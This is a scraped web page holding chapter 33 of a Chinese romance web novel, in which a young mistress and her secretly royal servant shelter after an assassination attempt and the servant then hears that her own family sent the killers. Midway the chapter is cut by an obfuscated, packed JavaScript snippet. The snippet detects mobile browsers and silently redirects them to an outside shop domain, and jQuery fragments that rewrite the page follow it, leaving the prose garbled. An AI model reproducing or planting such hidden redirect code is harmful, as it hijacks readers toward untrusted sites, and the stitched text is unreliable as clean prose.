文趣网 > 其他小说 > 捡个皇子当奴隶 > 33. 第三十三章
    周遭草木繁茂,密不透风的树冠几乎遮盖了整片天空,白昼恍若黑夜。

    沈归荑为谢昭辞包扎好伤口后,就静静地坐在他身边等他醒来。幸好他后背处的伤口并不深,只是因一路跑动流血过多,这才陷入了昏迷。

    沈归荑凝望着谢昭辞因失血而显得格外苍白的脸,记忆不由得又拉回到数月前,在院门口捡到重伤的他的那一刻。

    那时他的伤势远比现在更重,可她此刻的担忧却比当时更盛。

    仅仅是因为如今的他是她的仆人,所以她才会这般担心他吗?

    沈归荑想不明白,索性不再去想。短短一个清晨,就发生了这么多事,她太累了,闭上眼靠着身后的树干,很快就沉沉睡了过去。

    ……

    不知何时下起了淅淅沥沥的小雨,带着潮湿的水汽拂在肌肤上,激起一阵凉意。谢昭辞便是在这一刻猛然惊醒,醒来后眸中还带着明显的警觉。

    后背上的伤口隐隐作痛,他动了动身子,发觉胸口处沉甸甸的,沈归荑正靠在他的怀里,呼吸平稳,显然是已经陷入了熟睡。

    他上下检查了一番她的衣袍,见并没有血迹渗出,知晓她没有受伤,绷紧的脊背才稍稍松缓些。无意间,目光落到她泛红的服角上,她好似是刚哭过,双颊上还隐约留着几道泪痕。

    看到这一幕,他的内心莫名泛起一阵微妙的涟漪,这感觉很陌生,却并未让人觉得不适。

    鬼使神差地,他抬起手,指腹轻轻摩挲了下沈归荑湿润的眼角,似是想要为她抚平哀愁。

    沈归荑似有所感,微蹙了下眉,睁开了眼帘。谢昭辞立即收回手,不自在地轻咳了声,很快就移开了视线,语气平静道:“你醒了。”

    沈归荑眨眨眼,还没有完全从困倦中清醒过来,好半响才意识到二人现在的处境,忙拉过谢昭辞的手臂,问道,”你的伤如何了,可还有哪里不舒服吗?”

    谢昭辞摇摇头,反问道:“你呢,没有受伤吧?”

    沈归荑同样摇头,轻声道:“没有。”

    想到那些不知何时可能还会追上来的黑衣人,她随即叹了口气,”那些人是想劫我们的钱财吗,直说我们给了就是,何必非要杀人呢?”

    闻言,谢昭辞的神情逐渐变得沉重起来,他看得清楚,那些人的目的并非动财,而是想要……

    他看向身侧仍一无所知的沈归荑,终归是没将自己内心的想法说出来。

    山路难行,且此刻正下着雨,还有不知道什么时候会出现的黑衣人。比起先下山,还是就近找处能遮风避雨的地方暂歇,更为妥当。

    因此二人寻了处较隐蔽的山洞躲进去,谢昭辞后背的伤口时不时还会渗出血,没有纱布药膏等疗伤之物,沈归荑只能隔一段时间就用干净的布条重新为他包扎一遍。

    四下很是寂静,唯有衣料摩挲声若有似无地响起。

    包扎结束后,沈归荑坐在谢昭辞侧后方,却迟迟没有进一步的动作。

    谢昭辞微微偏头看过去,昏暗之中,少女的面容看得不甚清晰。

    “怎么了?”他问道。

    片刻沉默后,沈归荑的声音飘然响起,“那个时候,你可以自己跑掉的。”

    谢昭辞顿了顿,意识到她所说的是在与黑衣人搏斗时,他可以抛下她先行逃跑。他微微勾唇,语调恢复成以往的漫不经心,”你是我的主人,我自然要……”

    话还没说完,就被沈归荑打断,“他们是冲我而来的吧,我能看出来他们刀刀都是刺向我,还好有你将我护了下来。你虽是我的仆人,却也没必要随我一同送死。”

    与黑衣人打斗时,沈归荑被谢昭辞护在身后,能清楚地看到他是如何抵抗住那些明明是袭向自己的攻势。如果他想逃,直接扔下她不管便是了。

    可他并没有,依旧选择护着她,即使受了伤也要带着她一同逃离。

    她缓慢垂下眼睫,眸中氤氲着朦胧水光,“那时也是如此,去临溪镇的路上遇到了劫匪,嬷嬷为了换取生机,将我推了出去。我摔到山下,伤到了腿不便行走。嬷嬷本抛下了我独自逃跑,后来不知是因何原因,又回来接上了我。她说要我记住她的恩情,说她自己虽是我的仆人,可求生是人的本能,她原是没义务救下我的,所以让我以后定要报答她。”

    听着她的话,谢昭辞仿佛能看到当时那个跌落山崖,孤苦无助的少女。也顿时明白,为何初次见面时她总要端着主人架子,想来是怕会有仆人不肯听她的话,这才无奈为之。

    “所以……”沈归荑的声音很轻,但在空旷的山洞中却能听得很清晰,“你为何救我呢,阿犬?”

    她微微俯下身,白皙的面庞距离谢昭辞的脸只有咫尺之隔。她凝望着他那双极为好看的桃花眼,望着其中倒映出的自己的身影,彼此之间气息相缠,微妙、暧昧的气氛无端在这方寸之地蔓延开来。

    谢昭辞喉头微滚,目光不自觉下移落到沈归荑红润的唇瓣上,或许是因为久未饮水,他竟有种口干舌燥之感。

    见他不语,沈归荑便又凑近了些,掌心顺势压到他的大腿上,问道:“阿犬,你怎得不说话?”

    她靠得实在太近,几乎是将他完全禁锢在了自己的怀里。谢昭辞闭了闭眼,压下内心那些不断翻涌的燥热,抬手拦住了沈归荑欲再度靠近的身体。

    最终,他都没有回答上沈归荑的那一

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17785495|205344||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    问题。

    或许连他自己,都不知道这问题的答案。

    午后,天空逐渐放睛,谢昭辞背后的伤不再流血,二人便选择离开了山洞,打算去寻找下山的路。

    走至半山腰时,周恪等人寻了过来,谢昭辞慌称他们是自己从前走商时相识的友人,沈归荑性子纯粹,没怎么多想,轻而易举地就相信了他的话。

    在周恪的带领下,他们住到临近一座城镇的客栈里。深夜,趁沈归荑睡下,谢昭辞偷偷退了出去,来到了隔壁厢房。

    甫一入内,周恪就“扑通”一声跪倒在地,请罪道:“属下该死,未能第一时间发现险况,害得殿下受伤,请殿下处罚。”

    谢昭辞淡淡扫了他一眼,冷声道:“你的确有罪。”

    周恪的头俯得更低了。

    谢昭辞问道:“那些人的底细可查探清楚了。”

    “是,那群人出手虽狠毒,可却不是嘴硬的,看上去也并非是受过专门训练的杀手。属下还没问几句,他们就都招了,承认是沈家派他们来刺杀沈大小姐的。”

    “沈家啊……”谢昭辞喃喃道,指尖不自觉敲击了几下桌面。片刻后,他发出一声冷笑,眼中透露出几分杀意,“具体是谁?”

    “他们称自己也不清楚,从始至终都是沈家的仆役与他们接头,并未真正见到上头指派的人。”

    周恪小心翼翼抬头觑着谢昭辞的神色,有意将功补过,便试探地道:“属下想,或许可以让他们带话回去,道刺杀成功,想必能借此发掘出幕后之人究竟是谁来。”

    “嗯,”谢昭辞垂下眼帘不再去看周恪一眼,语气冷冽,“若再有纰漏,你就不必回来了。”

    周恪冷汗连连,忙不迭磕头谢罪。

    “对了,”谢昭辞忽地想到什么,抬眼看向窗外深沉的夜色,问道:“那辆马车上的东西呢?”

    周恪愣了愣,反应过来他说的是什么后,忙回道:“马车在打斗中已尽数损毁,里面的东西也是。不过,我们在附近草木中捡到一只黄狗,属下记得是那位姑……沈大小姐养的,便自作主张带了回来。”

    经过这次的刺杀,周恪也明白过来沈归荑的身份,知道她就是京城尚书沈崇远的女儿,因此不敢怠慢。

    谢昭辞颔首应下,没再多言,只道明日一早便要出发往京城走。

    时辰不早,谢昭辞欲回到沈归荑的房间歇下,可刚一推开这件厢房的屋门,就见门外不远处站着一道熟悉的袅娜身影。

    看到是谁后,谢昭辞神情难得露出了一瞬的错愕。

    是沈归荑。

    她不知道在外面站了多久,也不知道将屋内的谈话听进去了多少。